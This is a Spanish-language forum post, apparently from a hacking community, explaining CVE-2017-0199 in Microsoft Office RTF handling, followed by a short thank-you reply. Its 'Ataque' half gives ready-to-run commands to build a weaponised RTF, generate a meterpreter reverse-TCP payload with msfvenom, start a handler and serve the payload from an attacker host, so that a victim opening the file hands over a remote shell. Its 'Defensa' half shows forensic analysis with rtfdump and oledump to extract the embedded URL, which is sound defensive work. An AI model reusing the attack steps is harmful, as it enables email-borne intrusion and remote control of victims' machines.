Hola a todos!
Hoy os traigo un aporte sobre el CVE-2017-0199, ésta es una vulnerabilidad de ejecución de código arbitrario en Microsoft Office que se manifiesta debido a un manejo incorrecto de los archivos de formato de texto enriquecido (RTF).
(https://cdn0.tnwcdn.com/wp-content/blogs.dir/1/files/2017/04/Untitled-1-2-796x398.jpg)
Por lo general se ha detectado el ataques en mensajes de correo electrónico donde la víctima abre un documento específicamente diseñado para explotar la vulnerabilidad. Es importante mencionar que esta vulnerabilidad continúa siendo explotada activamente.
(https://3.bp.blogspot.com/-YrHEenxHIgw/WPEZNc75rfI/AAAAAAAAA2A/Oboal3EtMSkMi1Thf_KWX-GRy4K9p2IHgCLcB/s640/image00.png)
AtaqueEn este caso empezaremos por el principio, la creación del documento, se puede crear de forma manual, pero a día de hoy existen generadores para ahorrar tiempo, por lo que en este caso lo utilizaremos así, yo he usado este https://github.com/bhdresh/CVE-2017-0199 aunque podéis utilizar el que vosotros queráis.
Primero generamos el RTF.
python cve-2017-0199_toolkit.py -M gen -t RTF -w underc0de.rtf -u http://TUIP/logo.doc
(https://i.imgur.com/c3EwKZI.png)
Generamos el meterpreter (OPCIONAL)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=TUIP LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST TUIP; run"
Iniciamos la tool en modo exploit
python cve-2017-0199_toolkit.py -M exp -t RTF -e http://TUIP/shell.exe -l /tmp/shell.exe
(https://i.imgur.com/Oggwnny.png)
El gráfico actual de ataque sería el siguiente:
(https://raw.githubusercontent.com/bhdresh/CVE-2017-0199/v3.0-beta-2.0/Scenario1.jpg)
Aunque también podemos utilizarlo en modo remoto de la siguiente forma.
(https://raw.githubusercontent.com/bhdresh/CVE-2017-0199/v3.0-beta-2.0/Scenario2.jpg)
Al abrir nuestro documento nos aparecerá el siguiente error, si la víctima pulsa "Si" nuestro servidor recibirá la petición y recibiremos nuestra sesión de meterpreter
(https://i.imgur.com/WUy8Z8I.png)
(https://i.imgur.com/QWOKfhw.png)
(https://i.imgur.com/W2kfxdK.png)
DefensaAhora que ya tenemos nuestro documento, es hora del análisis, para ello utilizaremos una tool desarrollada en python llamada rtfdump, utilizaremos esta herramienta para sacar la URL verdadera y llegar a la conclusión de si el fichero RTF es seguro o no.
En primer lugar abriremos nuestro documento a través de la rtfdump.
python rtfdump.py underc0de.rtf
(https://i.imgur.com/CJXzel3.png)
Como nos devuelve mucha información, cerraremos el cerco buscando únicamente los objetos OLE 1.0 que tiene nuestro documento.
python rtfdump.py -f O underc0de.rtf
Obtenemos un único objeto con el índice 10.
(https://i.imgur.com/628sDmU.png)
Hacemos una búsqueda más exhaustiva de nuestro índice.
python rtfdump.py -s 10 underc0de.rtf | more
(https://i.imgur.com/01umk78.png)
En este volcado hexadecimal / ascii, podemos ver que el texto comienza con 01050000 02000000, lo que significa que es un objeto OLE 1.0. Además detectamos el string d0cf11e0, suponiendo que contiene un archivo OLE.
Con la opición -H, convertiremos los caracteres hexadecimales a binario:
python rtfdump.py -s 10 -H underc0de.rtf | more
(https://i.imgur.com/jnqH6TV.png)
Obtenemos el string OLE2Link, a la que se ha hecho referencia. Con la opción -i, podemos obtener más información sobre el objeto incrustado:
python rtfdump.py -s 10 -H -i underc0de.rtf
(https://i.imgur.com/wdslDnj.png)
Ahora que estamos seguros de que es un fichero OLE incrustado utilizamos -E para extraerlo.
python rtfdump.py -s 10 -H -E underc0de.rtf
(https://i.imgur.com/e0lJEcS.png)
Para analizar este fichero, utilizaremos oledump (http://didierstevens.com/files/software/oledump_V0_0_30.zip), oledump necesita el modulo olefile, por lo que si no lo tenéis, deberéis instalarlo antes (pip install -U olefile)
Utilizando -d y un pipeline, le pasaremos el fichero extraído a oledump.
python rtfdump.py -s 10 -H -E -d underc0de.rtf | oledump.py
(https://i.imgur.com/4EQDIYq.png)
Obtenemos 3 resultados, vamos a echarle un vistazo al primero mediante el siguiente comando.
python rtfdump.py -s 10 -H -E -d underc0de.rtf | python oledump.py -s 1
Y finalmente obtenemos la URL del documento infectado.
(https://i.imgur.com/UEsdzZd.png)
Espero que os haya gustado,
Un saludo.
Está genial @Black (https://underc0de.org/foro/profile/blackdrake/), en cuanto pueda lo pruebo.